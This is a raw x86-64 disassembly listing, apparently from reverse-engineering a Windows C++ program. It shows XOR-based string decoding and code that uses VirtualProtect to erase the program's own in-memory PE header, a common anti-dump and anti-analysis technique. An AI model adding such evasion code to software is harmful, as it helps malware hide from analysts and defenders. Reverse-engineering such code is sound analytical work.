movzx eax, byte [0x140044584]
mov edi, esi
mov edx, dword [0x140044580]
mov dword [rsp + 0x50], edx
mov byte [rsp + 0x54], al
movups xmm2, xmmword [str.hKUXYNM]
movups xmmword [rsp + 0x40], xmm2
cmp r14d, 2
jl 0x14000fb87
movdqa xmm3, xmmword [0x1400457e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmm11
movd ecx, xmm12
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x48]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rsp + 0x48], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmmword [0x1400457f0]
psubd xmm3, xmm0
movd xmm1, dword [rsp + 0x4c]
andps xmm3, xmm8
packuswb xmm3, xmm3
mov edi, 0x14
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rsp + 0x4c], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
mov eax, edi
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, dil
inc edi
sub al, cl
add al, 0x38
xor byte [r8 - 1], al
cmp edi, 0x15
jl 0x14000fba0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140010290
mov rcx, rax
call fcn.14000e600
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x14004c888]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140010fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
mov dword [rbp - 0x60], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r9, [rbp - 0x60]
mov edx, 0x1000
mov rcx, rax
mov r8d, 4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
lea r9, [rbp - 0x80]
mov ecx, 0x1000
mov rdi, rbx
rep stosb byte [rdi], al
mov r8d, dword [rbp - 0x60]
mov rcx, rbx
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsd xmm0, qword [str.KM_IH]
movzx eax, byte [0x140044484]
mov ecx, dword [0x140044480]
movsd qword [rbp - 0x80], xmm0
mov byte [rbp - 0x74], al
mov dword [rbp - 0x78], ecx
cmp r14d, 2
jl 0x14000fdba
movdqa xmm1, xmm7
movd eax, xmm12
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
mov esi, 0xc
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm9
psubd xmm7, xmm0
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, eax
paddb xmm7, xmm0
movd xmm0, dword [str.KM_IH]
xorps xmm7, xmm0
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
movd dword [rbp - 0x80], xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x7c]
pmulld xmm0, xmm9
psubd xmm11, xmm0
movd xmm0, eax
andps xmm11, xmm8
packuswb xmm11, xmm11
packuswb xmm11, xmm11
paddb xmm11, xmm0
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
xorps xmm11, xmm1
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movd dword [rbp - 0x7c], xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm9
psubd xmm10, xmm0
movd xmm0, eax
andps xmm10, xmm8
packuswb xmm10, xmm10
packuswb xmm10, xmm10
paddb xmm10, xmm0
xorps xmm10, xmm1
movd dword [rbp - 0x78], xmm10
mov eax, esi
lea rdi, [rbp - 0x80]
add rdi, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea rdi, [rdi + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
inc esi
sub al, cl
add al, 0x38
xor byte [rdi - 1], al
cmp esi, 0xd
jl 0x14000fdd0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140010290
mov rcx, rax
call fcn.14000e350
nop dword [rax]
nop word [rax + rax]
cmp byte [0x1400444e9], 0
movsd xmm0, qword [str.W_I_r_b]
movzx eax, word [0x1400444e8]
movsd qword [rbp - 0x80], xmm0
mov word [rbp - 0x78], ax
je 0x14000fe69
xor byte [rbp - 0x7f], 0x39
xor byte [rbp - 0x7e], 0x3a
xor byte [rbp - 0x7d], 0x3b
xor byte [rbp - 0x7c], 0x3c
xor byte [rbp - 0x7b], 0x3d
xor byte [rbp - 0x7a], 0x3e
xor byte [rbp - 0x79], 0x3f
xor byte [rbp - 0x78], 0x40
xor byte [rbp - 0x77], 0x41
mov byte [rbp - 0x80], 0x6f
lea rdx, [rbp - 0x80]
call fcn.140003340
test eax, eax
je 0x14000fe20
call fcn.140001ac0
call fcn.14000dcf0
call fcn.1400098e0
call fcn.14000ce90
call fcn.14000d940
xor eax, eax
mov rcx, qword [rbp - 0x58]
xor rcx, rsp
call fcn.14003cd80
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop rbp
ret